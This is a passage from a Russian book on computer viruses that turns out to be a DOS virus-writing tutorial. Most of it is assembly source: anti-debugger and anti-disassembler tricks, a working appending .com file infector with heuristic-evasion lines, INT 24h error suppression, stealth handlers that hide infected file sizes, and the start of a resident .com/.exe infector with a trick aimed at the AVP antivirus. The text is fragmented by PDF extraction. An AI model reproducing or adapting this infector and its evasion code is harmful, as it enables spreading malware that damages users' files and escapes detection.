Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

71

 

 

 

mov

dx,OFFSET normal

;

mov

ah,09h

;Вывод сообщения при нормальной работе

int

21h

;программы

int

20h

;Завершение работы программы

int_start:

 

;Это наш обработчик 3 прерывания

mov

ah, 9

;

mov

dx, offset debug

;Выскажем нашу любовь отладчику и завершим

int

21h

;работу

int

20h

;

sl0n db

"Hello People$"

 

debug db "Fuck you debugger$" cseg ends

end start ;----------------------------------------------

Третье прерывание — это прерывание отладчика. Как только начнется трассировка программы. Уже после подмены обработчика будет выведено наше сообщение, и работа программы будет прекращена. И это будет причиной того, что наш вирус не смогут отладить. Вообще говоря, следовало бы сохранить адрес 3-го прерывания и в конце программы восстановить оригинальный обработчик.

Еще один старый, но очень действенный способ — это выключать клавиатуру. Взглянем на листинг:

;----------------------------------------------

mov al,0adh ;После этих инструкций кнопки не работают out 64h,al ;

;----------------------------------------------

Существует еще множество других способов обмануть отладчик, и я вам советую придумывать свои.

Теперь мы знаем, как обмануть отладчик, но от этих наших умений не будет пользы, если кто-нибудь дизассемблирует наш вирус. И как бы мы ни изощрялись с обманом отладчиков, следует также помнить о дизассемблере.

Сейчас мы рассмотрим способы обмана дизассемблера. Основным методом обмана дизассемблеров является перекрывающийся код.

Для лучшего понимания будем рассматривать все на примерах:

;----------------------------------------------

 

 

cseg

segment

 

 

org 100h

 

 

assume cs:cseg,ds:cseg,es:cseg

start:

 

 

;-----

[anti disasm trick, work on sourcer 7.0]--------------------------

ddie:

 

 

 

mov ax,02ebh

;!!!!!!!

 

jmp $-2

;!!!!!!!

;----------------------------------------------

 

 

 

mov ax,0900h

 

 

lea dx,hello

 

 

int 21h

 

72

DOS вирусы

 

 

 

int 20h

 

hello db 'hell0$'

cseg

ends

 

end start

;----------------------------------------------

 

Что же делает выделенная восклицательными знаками часть кода?

1.В ax помещается значение 02ebh (это опкод комманды jmp$+2).

2.jmp $-2, переходит на значение 02ebh.

3.jmp $+2, переходит на mov ax,0900h.

Таким образом, можно строить сколь угодно сложный перекрывающийся код. Еще в перекрывающемся коде есть один большой плюс — с его помощью можно прятать неприятные для антивирусов инструкции.

Также методом защиты от дизассемблера является полное шифрование кода или данных.

Теперь, когда мы умеем прятаться от отладчика и дизассемблера, применим эти навыки на *.com паразите.

Перейдем к листингу:

;----------------------------------------------

 

.model tiny

 

 

.code

 

 

org 100h

 

 

start:

db 0e9h,00h,00h

; Переход на начало вируса (st_vir)

st_vir:

call $+3

 

f_offset:

pop bp

 

 

int 1h

; Антиэвристика

 

mov ax,02ebh

; Смерть дизассемблеру

 

jmp $-2

; IDA и Sourcer капитулировали

 

sub bp, OFFSET f_offset

; Считаем смещение,

 

 

; с которого начинается вирусный

 

 

; êîä

 

not sp

; Прощаемся с отладчиками

 

not sp

;

 

lea si,[bp+orig_bytes]

; Восстанавливаем оригинальные 3 байта

 

mov di,100h

; Положим в стек переход на

 

push di

; начало программы

 

movsw

 

 

movsb

 

 

lea dx,[bp+new_dta]

; Установим DTA

 

mov ah,1ah

 

 

int 21h

 

 

mov ah,09h

; Выведем сообщение

 

lea dx,[bp+msg]

;

 

int 21h

 

 

mov ah,4eh

; DOS функция findfirst

 

lea dx,[bp+file_m]

; Ищем *.com файл (любой)

 

xor cx,cx

;

DOS вирусы

 

73

 

 

 

f_next:

int 21h

;

 

jc exit

; если ошибка или файлы закончились,

 

 

; то на выход

 

mov ax,3d00h

; Откроем найденный файл на чтение

 

lea dx,[bp+new_dta+30]

;

 

int 21h

;

 

xchg ax,bx

; Положим хэндл в bx

 

mov ah,3fh

; Прочитаем из файла

 

lea dx,[bp+orig_bytes]

; оригинальный заголовок,

 

mov cx,3

; а если быть более точным, то 3 байта

 

int 21h

;

 

cmp word ptr[bp+orig_bytes],'MZ' ; Если это *.exe переименованный

 

je close

 

; в *.com, то переходим к следующему

 

cmp word ptr[bp+orig_bytes],'ZM' ; файлу

 

je close

 

;

 

mov ax,word ptr [bp+new_dta+26]

; Положим размер файла в ax

 

mov cx,word ptr [bp+orig_bytes+1] ;

 

add cx,end_vir-st_vir+3

;

Добавим размер вируса

 

cmp ax,cx

;

Если длины совпадают, то файл

 

jnz infect

;

заражен. Если нет, сейчас заразим

close:

mov ah,3eh

;

Закрываем файл

 

int 21h

;

 

 

mov ah,4fh

;

и ищем новый

 

jmp short f_next

;

 

exit:

mov dx,80h

;

Восстанавливаем старый DTA

 

mov ah,1ah

 

 

 

int 21h

 

 

 

retn

;

Переходим на начало программы

 

 

;

100h было ведь в стеке

infect:

 

 

 

 

mov ax,word ptr [bp+new_dta+26]

;Положим размер файла в ax

 

sub ax,3

 

; Отнимем 3 и получим смещение для

 

mov word ptr [bp+jmp_offset],ax

; перехода на тело вируса

 

mov ah,3eh

;

 

 

int 21h

;

Закроем файл

 

mov ax,3d02h

;

Откроем на чтение/запись

 

int 21h

;

 

 

xchg ax,bx

;

Положим хэндл в bx

 

mov ah,40h

;

Запишем в файл

 

int 1h

;

Антиэвристика

 

mov cx,3

;

3 байта

 

lea dx,[bp+header]

;

Это переход на тело вируса, которое

 

int 21h

;

будет дописано к файлу

 

 

;

Перейдем на конец файла

 

mov ax,4202h

 

 

xor cx,cx xor dx,dx int 21h

74

 

DOS вирусы

 

 

 

 

mov ah,40h

; Допишем тело вируса

 

int 1h

; Антиэвристика

 

mov cx,end_vir-st_vir

;

 

lea dx,[bp+st_vir]

;

 

int 21h

;

 

mov ah,3eh

; Закроем файл

 

int 21h

;

 

jmp exit

; и передадим управление оригинальной

 

 

; программе

msg db "[Par4s1+ic ChuM4 v 1.0 by sl0n]",0ah,0dh,"$" ; Сообщение

file_m

db '*.com',0

; маска файла для поиска

orig_bytes

db 0cdh,20h,0

; байты оригинального заголовка

header

db 0e9h

; переход на вирус

end_vir

equ $

; символ конца вируса

jmp_offset

dw ?

; переменная для смещения на вирус

new_dta

db 43 dup(?)

; массив для DTA

end start ;----------------------------------------------

Ну вот, после таких модификаций нашего вируса его будет не так уж просто найти и вылечить.

При лечении данного файла усложняется анализ вируса и поиск оригинальных байт. А сам принцип лечения не меняется.

5.3. Стелс-механизмы

Начнем рассмотрение вирусных стелс-механизмов. Самым первым вирусным стелс-механизмом был перехват 24 прерывания и подмена его обработчика вирусным. Это было необходмо, потому как, если вирус хотел заразить файл на защищенной от записи дискете, выдавалось сообщение об ошибке. Ни один хороший вирус был пойман на этой ошибке, и чтобы вирусы не повторили их судьбу, необходимо, как уже говорилось выше, ставить свой обработчик на 24 прерывание. При попытке записи на защищенную дискету DOS покорно промолчит.

Принцип перехвата прерывания остается таким же, как и в части о резидентных вирусах, но здесь обработчик будет очень простой.

Рассмотрим листинг перехвата 24 прерывания:

;----------------------------------------------

mov ax,3524h int 21h

mov word ptr [oldint24],bx mov word ptr [oldint24+2],es

mov ah,25h

lea dx,[bp+int24] int 21h

push cs pop es

;----------------------------------------------

DOS вирусы

75

 

 

Все довольно тривиально и было обсуждено в разделе о резидентных вирусах.

Теперь рассмотрим сам вирусный обработчик 24 прерывания:

;----------------------------------------------

int24:

mov al,3 iret

;----------------------------------------------

Ну, а здесь вообще две команды, предназначенные для главной цели — погашения сообщения об ошибке записи. И нужно не забыть перед передачей управления оригинальной программе восстановить оригинальный обработчик 24 прерывания:

;----------------------------------------------

mov ax,2524h

lea dx,[bp+oldint24] int 21h

push cs pop ds

;----------------------------------------------

Данный маскировочный прием может использоваться как в резидентных, так и в обычных вирусах.

Следующим шагом в стелс-механизмах стал неполный стелс-механизм. Он может применяться только в резидентных вирусах и основан на том же принципе, что и инфицирование программ резидентными вирусами. То есть, находясь в памяти он отлавливает обращения DOSа к инфицированному файлу и подменяет настоящий размер на настоящий размер минус длина вируса. В итоге рост длины не заметен, но если взглянуть каким-нибудь редактором, то вирус будет виден.

Рассмотрим алгоритм работы неполного стелс механизма.

1.Посадка в память вируса.

2.Отлавливание прерываний 11h/12h, 4eh/4fh. Отлов 11h/12h необходим для обмана DOS команды dir. Отлов 4eh/4fh необходим для обмана таких программ как NC.

3.Если отловлено 11h/12h, то один вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.

4.Если отловлено 4eh/4fh, то другой вирусный обработчик, уменьшающий длину инфицированного файла на размер вируса, подменяет длину.

Рассмотрим подробно п. 2, 3 и 4 маскировочного механизма, так как п. 1 был достаточно подробно изложен в части, посвященной резидентным вирусам.

И так рассмотрим второй шаг алгоритма. По сути, он очень прост и не отли- чается от вирусного обработчика 21 прерывания, занимающегося инфицированием файлов. Если быть более конкретным, то это всего лишь надстройка к нему.

76 DOS вирусы

Взглянем на листинг:

;----------------------------------------------

new_int21h:

cmp ah,99h

; Проверка на присутствие в памяти

jne continue

 

mov bh,99h

 

iret

 

continue:

 

cmp ah,4bh

; Запускается программа или нет?

jne check_dir

 

jmp infect

; Будем заражать

check_dir:

 

cmp ah,11h

; Есть вызов dir?

je hide_dir

; Тогда маскируемся

cmp ah,12h

; Есть вызов dir?

je hide_dir

; Тогда маскируемся

cmp ah,4eh

; Или нас зовет NC?

je hide_dir2

; Прячемся от NC

cmp ah,4fh

; Или нас зовет NC?

je hide_dir2

; Прячемся от NC

jmp do_oldint21h

; Вернем управление оригинальному обрабочику DOS

;----------------------------------------------

 

Тут тоже все просто: если вы разобрались с резидентными вирусами, то все должны понимать, а если не разобрались, прочитайте еще раз.

Теперь третий шаг нашего алгоритма маскировки. В этой части мы должны обмануть DOS ровно на длину вирусного тела, чтобы при вызове DOS-команды «dir» выводилась поддельная длина, как будто этот файл и не заражен вовсе.

Рассмотрим листинг:

;----------------------------------------------

 

hide_dir:

;

pushf

; Положим в стек флаги

push cs

; è cs

call do_oldint21h

; Теперь вызовем оригинальное 21 прерывание

or al,al

; Вызов был удачным?

jnz skip_dir

; Нет, маскировка отменяется

push ax bx es

; Сохраняем используемые регистры

mov ah,62h

; Получим текущий PSP

int 21h

 

mov es,bx

 

cmp bx,es:[16h]

; PSP в порядке?

jnz bad_psp

; Если нет, то на выход

mov bx,dx

 

mov al,[bx]

;

push ax

; расширенный FCB

mov ah,2fh

; получим DTA

int 21h

 

pop ax

 

inc al

; Это расширенный FCB?

jnz no_ext

 

DOS вирусы

77

 

 

 

add

bx,7

; Если да, то добавим 7

no_ext:

 

 

mov

al,byte ptr es:[bx+17h]

; Взглянем на наши секунды

and

al,1fh

 

xor

al,1dh

; Файл заражен?

jnz

no_stealth

; Если нет, то размер не изменяем

cmp

word ptr es:[bx+1dh],vir_size

; Если размер меньше, чем размер вируса, то он не

ja hide_it

; мог быть заражен. Значит, не маскируем

cmp

word ptr es:[bx+1fh],0

;

je no_stealth

;

hide_it:

 

 

sub

word ptr es:[bx+1dh],vir_size

; Подменяем размер файла

sbb

word ptr es:[bx+1fh],0

 

no_stealth:

 

bad_psp:

 

 

pop es bx ax

; Восстанавливаем регистры

skip_dir:

 

iret

 

; Возвращаем управление

;----------------------------------------------

 

 

Теперь рассмотрим четвертый шаг нашего стелс-механизма. По сути, прятаться от таких программ, как NC, даже проще, чем обманывать DOS.

Рассмотрим листинг:

;----------------------------------------------

 

 

hide_dir2:

 

pushf

; Положим в стек флаги

push cs

; è cs

call do_oldint21h

; Теперь вызовем оригинальное 21 прерывание

jc eofs

; Если файлов больше нет, то на выход

push ax es bx

; Сохраним регистры

mov ah,2fh

; Получим DTA

int

21h

 

mov

ax,es:[bx+16h]

 

and

ax,1fh

; PSP в порядке?

xor

al,29

 

jnz

not_inf

; Если нет, на выход

cmp

word ptr es:[bx+1ah],vir_size

; Файлы меньше длины вируса - не трогаем

ja sub_it

 

cmp

word ptr es:[bx+1ch],0

 

je not_inf

 

sub_it:

 

 

sub

word ptr es:[bx+1ah],vir_size

; Исправляем длину файла

sbb

word ptr es:[bx+1ch],0

 

not_inf:

 

 

pop bx es ax

; Восстанавливаем регистры

eofs:

 

 

retf 2

; Возвращаем управление

;----------------------------------------------

78

DOS вирусы

 

 

Дальше, после неполного стелс-механизма появился полный стелс-меха- низм. Как и неполный, он использовался только в резидентных вирусах. Смысл его работы примерно такой же, как и у его предшественника:

1)при открытии файла вирус получает управление;

2)проверяет, инфицирован он или нет;

3)если инфицирован, то вылечивает его (правит заголовок и удаляет тело вируса);

4)возвращает управление программе;

5)при закрытии файла снова его заражает.

Данный механизм используется в совокупности с неполным стелс-механиз- мом. Этим достигается полная невидимость вируса по отношению к пользователю. Но при использовании полного стелсирования в вирусе находится алгоритм его лечения, что крайне нежелательно делать. Поэтому я рекомендую использовать два первых метода.

Но я считаю также, что стоит взглянуть на пример вирусного обработчика при полном стелс-механизме.

Рассмотрим листинг:

;----------------------------------------------

new_int21h:

cmp

ah,99h

; Проверка на присутствие в памяти

jne

continue

 

mov

bh,99h

 

iret

 

 

continue:

 

cmp

ah,4bh

; Запускается программа или нет?

jne

check_dir

 

jmp

infect

; Будем заражать

check_dir:

 

cmp

ah,11h

; Есть вызов dir?

je hide_dir

; Тогда маскируемся

cmp

ah,12h

; Есть вызов dir?

je hide_dir

; Тогда маскируемся

cmp

ah,4eh

; Или нас зовет NC?

je hide_dir2

; Прячемся от NC

cmp

ah,4fh

; Или нас зовет NC?

je hide_dir2

; Прячемся от NC

cmp

ah,03dh

; !!!!!!!!!!!!

jne

next_test

; !!!!!!!!!!!!

jmp

full_stealth

; !!!!!!!!!!!!

next_test:

; !!!!!!!!!!!!

cmp

ah,03eh

; !!!!!!!!!!!!

jne

ending

; !!!!!!!!!!!!

jmp

infect_on_close

; !!!!!!!!!!!!

ending:

 

 

jmp do_oldint21h

; Вернем управление оригинальному обрабочику DOS

;----------------------------------------------

 

 

Восклицательными знаками отмечено место в вирусном обработчике 21 прерывания, которое отличает полустелс-вирус от полного. Это реагирование на от-

DOS вирусы

79

 

 

крытие файла и соответственно лечение файла, если он инфицирован, а также заражение этого файла, когда работа с ним закончена.

Теперь мы реализуем первые два неполных стелс-механизма в резидентном паразите комбинированного типа (*.com + *.exe) для примера.

Перейдем к листингу:

;----------------------------------------------

 

cseg

segment byte public 'code'

 

assume cs:cseg, ds:cseg

 

org 100h

start_of_virus: call get_delta

get_delta: ; Получим дельта-смещение pop bp

sub bp,offset get_delta

install_code:

mov ax,es ; Восстановим регистры add ax,10h

add word ptr cs:[bp+EXEret+2],ax add word ptr cs:[bp+EXEstack],ax

push es

mov ah,99h

; Проверка на присутствие в памяти

int 21h

 

cmp bh,99h

 

je already_resident

 

mov ah,4ah

; Получение количества параграфов

mov bx,0ffffh

 

int 21h

 

sub bx,(vir_size+15)/16+1

; Отнимем размер вируса в параграфах

mov ah,4ah

 

int 21h

 

mov ah,48h

; Резервируем память для вируса

mov bx,(vir_size+15)/16

 

int 21h

 

jc already_resident

; Если ошибка, то на выход

dec ax

; ax-1 = MCB

mov es,ax

 

mov word ptr es:[1],8

; Владелец DOS

push ax

; Положим ax в стек

mov ax,3521h

; Получим вектор 21 прерывания

find:

 

db 068h

; Антиэвристический механизм

dw OFFSET @avp

;

ret

; AVP нас не найдет

pop ax

;

@avp:

;

int 21h

 

mov word ptr ds:[OldInt21h],bx

 

80

 

DOS вирусы

 

 

 

mov

word ptr ds:[OldInt21h+2],es

 

pop

ax

; ax = MCB для выделения памяти

push cs

 

pop

ds

 

cld

 

; cld äëÿ movsw

sub

ax,0fh

; es:[100h] = начало выделенной памяти

mov

es,ax

 

mov

di,100h

 

lea

si,[bp+offset start_of_virus]

mov

cx,(vir_size+1)/2

; Переносим вирус в память

rep

movsw

 

push es

 

pop

ds

 

mov

dx,offset new_int21h

; Ставим свой обработчик 21 прерывания

mov

ax,2521h

 

int

21h

 

mov

ax,3524h

; Получим вектор 21 прерывания

int

21h

 

mov

word ptr ds:[old24],bx

 

mov

word ptr ds:[old24+2],es

 

mov

dx,offset new24

; Установим свой обработчик 24 прерывания

mov

ah,25h

; чтобы не было ошибок при записи на защищенную дискету

int

21h

 

already_resident:

 

push cs cs

 

pop

es ds

 

cmp

byte ptr [bp+COMflag],1

; Проверим, откуда стартуем *.com или *.exe

jne

exit_EXE

 

exit_COM:

; Возвращаем управление оригинальной программе

mov di,100h

 

lea

si,[bp+COMret]

 

mov

cx,3

 

rep

movsb

; Восстанавливаем первые 3 байта

pop

es

; И передаем управление

mov

ax,100h

 

jmp

ax

 

exit_EXE:

; Выход, если стартовали из *.exe файла

pop

es

 

mov

ax,es

; Восстановим сегментные регистры и ss:sp

mov

ds,ax

 

cli

 

 

mov ss,word ptr cs:[bp+EXEstack]

 

mov sp,word ptr cs:[bp+EXEstack+2]

sti

 

 

db 0eah

 

; Передаем управление программе

EXEret db 0,0,0,0

 

EXEstack dd 0

 

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]